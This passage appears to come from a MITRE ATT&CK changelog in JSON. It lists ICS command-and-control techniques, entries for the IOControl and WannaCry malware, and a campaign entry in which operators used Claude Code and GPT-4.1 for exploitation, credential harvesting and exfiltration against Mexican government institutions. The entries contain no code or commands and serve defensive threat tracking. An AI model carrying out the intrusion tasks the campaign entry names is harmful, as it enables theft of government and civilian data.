                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "ics-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Yokogawa (Thailand & IT/OT SOC)\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-15 22:30:56.135000+00:00\", \"old_value\": \"2026-10-09 18:14:56.779000+00:00\"}}}",
                    "previous_version": "1.0",
                    "changelog_mitigations": {
                        "shared": [
                            "M0931: Network Intrusion Prevention",
                            "M0937: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0934: Behavioral Detection of DNS Protocol Misuse for Command and Control"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--4b5c5ba1-46a6-4e10-b99b-7e0892368c06",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-26 03:33:15.757000+00:00",
                    "modified": "2026-10-15 22:31:25.626000+00:00",
                    "name": "Publish/Subscribe Protocols",
                    "description": "Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and broker.\n\nProtocols such as MQTT are widely used in Internet-of-Things (IoT) and operational technology environments where devices are resource constrained and there is limited or unreliable network bandwidth. The protocol follows a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also blending in with normal, expected traffic.\n",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-ics-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T0869/002",
                            "external_id": "T0869.002"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Yokogawa (Thailand & IT/OT SOC)"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "ics-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Yokogawa (Thailand & IT/OT SOC)\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-15 22:31:25.626000+00:00\", \"old_value\": \"2026-10-07 21:51:02.824000+00:00\"}}}",
                    "previous_version": "1.0",
                    "changelog_mitigations": {
                        "shared": [
                            "M0931: Network Intrusion Prevention",
                            "M0937: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0935: Behavioral Detection of Publish/Subscribe Protocol Misuse for Command and Control"
                        ],
                        "new": [],
                        "dropped": []
                    }
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "software": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "malware",
                    "id": "malware--bcd0f2cd-0b21-4109-8310-8a90be320514",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-02 20:33:19.300000+00:00",
                    "modified": "2026-10-20 15:22:51.476000+00:00",
                    "name": "IOControl",
                    "description": "[IOControl](https://attack.mitre.org/software/S9046) is a Linux backdoor compiled for 32-bit ARM devices that has been used to target IoT and OT devices in Israel and the United States, including IP cameras, routers, firewalls, PLCs, HMIs, and Orpak and Gasboy fuel management systems. Affected vendors include Baicells, D-Link, Hikvision, Phoenix Contact, Red Lion, Teltonika, and Unitronics. [IOControl](https://attack.mitre.org/software/S9046) has been used by [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL)",
                    "revoked": false,
                    "labels": [
                        "malware"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/software/S9046",
                            "external_id": "S9046"
                        },
                        {
                            "source_name": "Claroty-IOCONTROL",
                            "description": "Claroty Team82. (2024, December 10). Inside a New OT/IoT Cyberweapon: IOCONTROL. Retrieved September 2, 2026.",
                            "url": "https://claroty.com/team82/research/inside-a-new-ot-iot-cyber-weapon-iocontrol"
                        },
                        {
                            "source_name": "Dragos 2025 Year in Review",
                            "description": "Dragos. (2026, February). 9TH ANNUAL YEAR IN REVIEW | OT/ICS CYBERSECURITY REPORT . Retrieved April 26, 2026.",
                            "url": "https://5943619.hs-sites.com/hubfs/312-Year-in-Review/2026/Dragos-2026-OT-Cybersecurity-Report-A-Year-in-Review.pdf?hsCtaAttrib=205683189348"
                        },
                        {
                            "source_name": "Armis-IOCONTROL",
                            "description": "Michael Freeman. (2024, December 16). IOControl Malware: What's New, What's Not?. Retrieved September 2, 2026.",
                            "url": "https://www.armis.com/blog/iocontrol-malware-whats-new-whats-not/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_aliases": [
                        "IOControl"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Yokogawa (Thailand & IT/OT SOC)"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "ics-attack",
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Yokogawa (Thailand & IT/OT SOC)\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-20 15:22:51.476000+00:00\", \"old_value\": \"2026-10-12 16:09:31.637000+00:00\"}, \"root['description']\": {\"new_value\": \"[IOControl](https://attack.mitre.org/software/S9046) is a Linux backdoor compiled for 32-bit ARM devices that has been used to target IoT and OT devices in Israel and the United States, including IP cameras, routers, firewalls, PLCs, HMIs, and Orpak and Gasboy fuel management systems. Affected vendors include Baicells, D-Link, Hikvision, Phoenix Contact, Red Lion, Teltonika, and Unitronics. [IOControl](https://attack.mitre.org/software/S9046) has been used by [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL)\", \"old_value\": \"IOControl is a malware that targeted Linux ARM-based IoT/OT devices including Hikvision IP cameras, D-Link firewalls and routers, Unitronics PLCs and HMIs, Orpak and Gasboy fuel management systems, and Baicells LTE controllers across the United States and Israel. The malware has been attributed to [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL)\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to165__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to165__0\"><a href=\"#difflib_chg_to165__top\">t</a></td><td class=\"diff_header\" id=\"from165_1\">1</td><td nowrap=\"nowrap\"><span class=\"diff_sub\">IOControl&nbsp;is&nbsp;a&nbsp;malware&nbsp;that&nbsp;targeted&nbsp;Linux&nbsp;ARM-based&nbsp;IoT/OT&nbsp;</span></td><td class=\"diff_next\"><a href=\"#difflib_chg_to165__top\">t</a></td><td class=\"diff_header\" id=\"to165_1\">1</td><td nowrap=\"nowrap\"><span class=\"diff_add\">[IOControl](https://attack.mitre.org/software/S9046)&nbsp;is&nbsp;a&nbsp;Li</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">devices&nbsp;including&nbsp;Hikvision&nbsp;IP&nbsp;cameras,&nbsp;D-Link&nbsp;firewalls&nbsp;and</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">nux&nbsp;backdoor&nbsp;compiled&nbsp;for&nbsp;32-bit&nbsp;ARM&nbsp;devices&nbsp;that&nbsp;has&nbsp;been&nbsp;u</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;routers,&nbsp;Unitronics&nbsp;PLCs&nbsp;and&nbsp;HMIs,&nbsp;Orpak&nbsp;and&nbsp;Gasboy&nbsp;fuel&nbsp;ma</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">sed&nbsp;to&nbsp;target&nbsp;IoT&nbsp;and&nbsp;OT&nbsp;devices&nbsp;in&nbsp;Israel&nbsp;and&nbsp;the&nbsp;United&nbsp;St</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">nagement&nbsp;systems,&nbsp;and&nbsp;Baicells&nbsp;LTE&nbsp;controllers&nbsp;across&nbsp;the&nbsp;Un</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">ates,&nbsp;including&nbsp;IP&nbsp;cameras,&nbsp;routers,&nbsp;firewalls,&nbsp;PLCs,&nbsp;HMIs,&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">ited&nbsp;States&nbsp;and&nbsp;Israel.&nbsp;The&nbsp;malware&nbsp;has&nbsp;been&nbsp;attributed&nbsp;to&nbsp;[</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">and&nbsp;Orpak&nbsp;and&nbsp;Gasboy&nbsp;fuel&nbsp;management&nbsp;systems.&nbsp;Affected&nbsp;vendo</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">CyberAv3ngers](https://attack.mitre.org/groups/G1027)&nbsp;which&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">rs&nbsp;include&nbsp;Baicells,&nbsp;D-Link,&nbsp;Hikvision,&nbsp;Phoenix&nbsp;Contact,&nbsp;Red</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">is&nbsp;suspected&nbsp;to&nbsp;be&nbsp;affiliated&nbsp;with&nbsp;the&nbsp;Iranian&nbsp;Government&nbsp;Is</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">&nbsp;Lion,&nbsp;Teltonika,&nbsp;and&nbsp;Unitronics.&nbsp;[IOControl](https://attack</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">lamic&nbsp;Revolutionary&nbsp;Guard&nbsp;Corps&nbsp;(IRGC).(Citation:&nbsp;Claroty-IO</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">.mitre.org/software/S9046)&nbsp;has&nbsp;been&nbsp;used&nbsp;by&nbsp;[CyberAv3ngers](</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">CONTROL)(Citation:&nbsp;Dragos&nbsp;2025&nbsp;Year&nbsp;in&nbsp;Review)(Citation:&nbsp;Arm</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">https://attack.mitre.org/groups/G1027)&nbsp;which&nbsp;is&nbsp;suspected&nbsp;to</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">is-IOCONTROL)</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">&nbsp;be&nbsp;affiliated&nbsp;with&nbsp;the&nbsp;Iranian&nbsp;Government&nbsp;Islamic&nbsp;Revolutio</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">nary&nbsp;Guard&nbsp;Corps&nbsp;(IRGC).(Citation:&nbsp;Claroty-IOCONTROL)(Citati</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">on:&nbsp;Dragos&nbsp;2025&nbsp;Year&nbsp;in&nbsp;Review)(Citation:&nbsp;Armis-IOCONTROL)</span></td></tr>\n        </tbody>\n    </table>"
                },
                {
                    "type": "malware",
                    "id": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-03-25 17:30:17.004000+00:00",
                    "modified": "2026-10-07 19:20:10.980000+00:00",
                    "name": "WannaCry",
                    "description": "[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)",
                    "revoked": false,
                    "labels": [
                        "malware"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/software/S0366",
                            "external_id": "S0366"
                        },
                        {
                            "source_name": "WanaCrypt0r",
                            "description": "(Citation: LogRhythm WannaCry)"
                        },
                        {
                            "source_name": "WCry",
                            "description": "(Citation: LogRhythm WannaCry)(Citation: SecureWorks WannaCry Analysis)"
                        },
                        {
                            "source_name": "WanaCry",
                            "description": "(Citation: SecureWorks WannaCry Analysis)"
                        },
                        {
                            "source_name": "WanaCrypt",
                            "description": "(Citation: SecureWorks WannaCry Analysis)"
                        },
                        {
                            "source_name": "FireEye WannaCry 2017",
                            "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                            "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
                        },
                        {
                            "source_name": "SecureWorks WannaCry Analysis",
                            "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                            "url": "https://www.secureworks.com/research/wcry-ransomware-analysis"
                        },
                        {
                            "source_name": "Washington Post WannaCry 2017",
                            "description": "Dwoskin, E. and Adam, K. (2017, May 14). More than 150 countries affected by massive cyberattack, Europol says. Retrieved March 25, 2019.",
                            "url": "https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html"
                        },
                        {
                            "source_name": "LogRhythm WannaCry",
                            "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved December 8, 2024.",
                            "url": "https://web.archive.org/web/20230522041200/https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/"
                        },
                        {
                            "source_name": "US-CERT WannaCry 2017",
                            "description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_aliases": [
                        "WannaCry",
                        "WanaCry",
                        "WanaCrypt",
                        "WanaCrypt0r",
                        "WCry"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Jan Miller, CrowdStrike"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-07 19:20:10.980000+00:00\", \"old_value\": \"2024-12-09 02:29:13.859000+00:00\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html\", \"old_value\": \"https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "groups": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "campaigns": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "campaign",
                    "id": "campaign--199f5568-ca25-4892-b7a5-870503e4d0f4",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-02 19:34:22.932000+00:00",
                    "modified": "2026-10-20 14:52:14.093000+00:00",
                    "name": "AI-Assisted Breach of Mexico's Government Infrastructure",
                    "description": "The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. (Citation: AI-Mexico-Govt-Compromise) ",
                    "aliases": [
                        "AI-Assisted Breach of Mexico's Government Infrastructure"
                    ],
                    "first_seen": "2025-12-01 05:00:00+00:00",
                    "last_seen": "2026-02-01 05:00:00+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/campaigns/C0064",
                            "external_id": "C0064"
                        },
                        {
                            "source_name": "AI-Mexico-Govt-Compromise",
                            "description": "Jay Deen. (2026, May). AI-Assisted Compromise of Mexican Water Utility with OT Implications. Retrieved September 2, 2026.",
                            "url": "https://5943619.hs-sites.com/hubfs/116-Whitepapers/dragos-2026-ai-mexico-water-attack-intel-brief.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ],
                    "x_mitre_first_seen_citation": "(Citation: AI-Mexico-Govt-Compromise)",
                    "x_mitre_last_seen_citation": "(Citation: AI-Mexico-Govt-Compromise)",
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-20 14:52:14.093000+00:00\", \"old_value\": \"2026-10-09 00:56:40.965000+00:00\"}, \"root['description']\": {\"new_value\": \"The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. (Citation: AI-Mexico-Govt-Compromise) \", \"old_value\": \"The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. Please note that due to the breadth of this campaign, public reporting only provides select details and as a result this campaign should not be considered comprehensive.(Citation: AI-Mexico-Govt-Compromise) \"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to166__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to166__0\"><a href=\"#difflib_chg_to166__top\">t</a></td><td class=\"diff_header\" id=\"from166_1\">1</td><td nowrap=\"nowrap\">The&nbsp;[AI-Assisted&nbsp;Breach&nbsp;of&nbsp;Mexico's&nbsp;Government&nbsp;Infrastructur</td><td class=\"diff_next\"><a href=\"#difflib_chg_to166__top\">t</a></td><td class=\"diff_header\" id=\"to166_1\">1</td><td nowrap=\"nowrap\">The&nbsp;[AI-Assisted&nbsp;Breach&nbsp;of&nbsp;Mexico's&nbsp;Government&nbsp;Infrastructur</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e](https://attack.mitre.org/campaigns/C0064)&nbsp;is&nbsp;a&nbsp;campaign&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e](https://attack.mitre.org/campaigns/C0064)&nbsp;is&nbsp;a&nbsp;campaign&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">here&nbsp;human&nbsp;operators&nbsp;used&nbsp;Claude&nbsp;Code&nbsp;AI&nbsp;and&nbsp;OpenAI&nbsp;GPT&nbsp;GPT-</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">here&nbsp;human&nbsp;operators&nbsp;used&nbsp;Claude&nbsp;Code&nbsp;AI&nbsp;and&nbsp;OpenAI&nbsp;GPT&nbsp;GPT-</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">4.1&nbsp;AI&nbsp;to&nbsp;perform&nbsp;reconnaissance,&nbsp;vulnerability&nbsp;exploitation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">4.1&nbsp;AI&nbsp;to&nbsp;perform&nbsp;reconnaissance,&nbsp;vulnerability&nbsp;exploitation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;privilege&nbsp;escalation,&nbsp;discovery,&nbsp;credential&nbsp;harvesting,&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;privilege&nbsp;escalation,&nbsp;discovery,&nbsp;credential&nbsp;harvesting,&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;exfiltration&nbsp;operations.&nbsp;The&nbsp;attack&nbsp;impacted&nbsp;several&nbsp;Mexic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;exfiltration&nbsp;operations.&nbsp;The&nbsp;attack&nbsp;impacted&nbsp;several&nbsp;Mexic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;government&nbsp;institutions&nbsp;including&nbsp;the&nbsp;Federal&nbsp;Tax&nbsp;Authori</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;government&nbsp;institutions&nbsp;including&nbsp;the&nbsp;Federal&nbsp;Tax&nbsp;Authori</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty&nbsp;(Servicio&nbsp;de&nbsp;Administracion&nbsp;Tributaria),&nbsp;Mexico&nbsp;State&nbsp;Gov</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty&nbsp;(Servicio&nbsp;de&nbsp;Administracion&nbsp;Tributaria),&nbsp;Mexico&nbsp;State&nbsp;Gov</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ernment&nbsp;(Estado&nbsp;de&nbsp;Mexico),&nbsp;Mexico&nbsp;City&nbsp;Civil&nbsp;Registry&nbsp;(Regi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ernment&nbsp;(Estado&nbsp;de&nbsp;Mexico),&nbsp;Mexico&nbsp;City&nbsp;Civil&nbsp;Registry&nbsp;(Regi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stro&nbsp;Civil&nbsp;de&nbsp;CDMX),&nbsp;Jalisco&nbsp;State&nbsp;Government,&nbsp;National&nbsp;Elec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stro&nbsp;Civil&nbsp;de&nbsp;CDMX),&nbsp;Jalisco&nbsp;State&nbsp;Government,&nbsp;National&nbsp;Elec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">toral&nbsp;Institute&nbsp;(Instituto&nbsp;Nacional&nbsp;Electoral),&nbsp;Michoacan&nbsp;St</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">toral&nbsp;Institute&nbsp;(Instituto&nbsp;Nacional&nbsp;Electoral),&nbsp;Michoacan&nbsp;St</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;Government,&nbsp;SADM&nbsp;Monterrey&nbsp;Municipal&nbsp;Water&nbsp;Utility&nbsp;(Agua</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;Government,&nbsp;SADM&nbsp;Monterrey&nbsp;Municipal&nbsp;Water&nbsp;Utility&nbsp;(Agua</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;y&nbsp;Drenaje),&nbsp;Tamaulipas&nbsp;State&nbsp;Government,&nbsp;and&nbsp;the&nbsp;Mexico&nbsp;Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 